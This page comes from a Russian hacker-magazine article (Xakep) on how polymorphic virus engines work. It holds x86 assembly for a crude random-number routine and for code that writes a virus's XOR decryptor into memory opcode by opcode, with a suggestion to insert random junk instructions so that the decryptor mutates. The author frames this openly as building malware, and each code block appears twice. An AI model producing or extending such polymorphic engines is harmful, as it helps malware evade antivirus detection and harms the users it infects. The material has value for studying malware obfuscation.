|

Технология шифрования
Докучаев Дмитрий aka Forb
Спецвыпуск Xakep, номер #035, стр. 035-036-4
Ты никогда не задумывался над тем, без чего не может обойтись ни один полиморфный движок? Конечно! Он не может обойтись без генератора [псевдо]случайных чисел. Тут сама собой напрашивается любимая функция rand(), но в ASM'е ее нет, поэтому придется изобретать что-нибудь свое. Хорошим вариантом является использование следующего кода:
rand:
in eax,40h
ret
rand:
in eax,40h
ret
Основная суть полиморфного движка состоит в том, чтобы генерировать код "на лету", "из ничего": мы можем записать код в какую-то специально отведенную для этого область памяти, а затем вызвать его. Примером тому может служить подобная реализация кода дешифровщика, который мы приводили выше:
lea edi,virus_address
mov al,0B9h ; опкод MOV ECX,imm32
stosb ; сохранить EAX, куда указывает EDI
mov eax,virus_size ; Число, которое нужно сохранить
stosd
mov al,0BFh ; опкод MOV EDI,offset32
stosb
mov eax,offset crypt ; 32-битное сохраняемое смещение
stosd
mov al,0B8h ; опкод MOV EAX,imm32
stosb
mov eax, crypt_key
stosd
mov ax,0731h ; опкод XOR [EDI],EAX
stosw
mov ax,0C783h ; опкод ADD EDI,imm32 (>7F)
stosw
mov al,04h ; Сохраняемый Imm32 (>7F)
stosb
mov ax,0F9E2h ; опкод LOOP _begin_loop
stosw
lea edi,virus_address
mov al,0B9h ; опкод MOV ECX,imm32
stosb ; сохранить EAX, куда указывает EDI
mov eax,virus_size ; Число, которое нужно сохранить
stosd
mov al,0BFh : опкод MOV EDI,offset32
stosb
mov eax,offset crypt ; 32-битное сохраняемое смещение
stosd
mov al,0B8h ; опкод MOV EAX,imm32
stosb
mov eax, crypt_key
stosd
mov ax,0731h ; опкод XOR [EDI],EAX
stosw
mov ax,0C783h ; опкод ADD EDI,imm32 (>7F)
stosw
mov al,04h ; Сохраняемый Imm32 (>7F)
stosb
mov ax,0F9E2h ; опкод LOOP _begin_loop
stosw
Несложно догадаться, что достаточно пары строчек кода, чтобы сделать этот код генератором полиморфного дешифровщика. Достаточно хотя бы добавить случайную вставку однобайтовых инструкций после каждого stos.
Я думаю, на этом небольшом примере можно понять, как работают полиморфные движки. Конечно, реально они гораздо сложнее: они используют различные регистры, передвижение частей кода и т.п. – но это уже зависит от твоего воображения и желания воплощать зло в ассемблерном коде :).
Назад на стр. 035-036-3 Содержание Вперед на стр. 035-036-5
|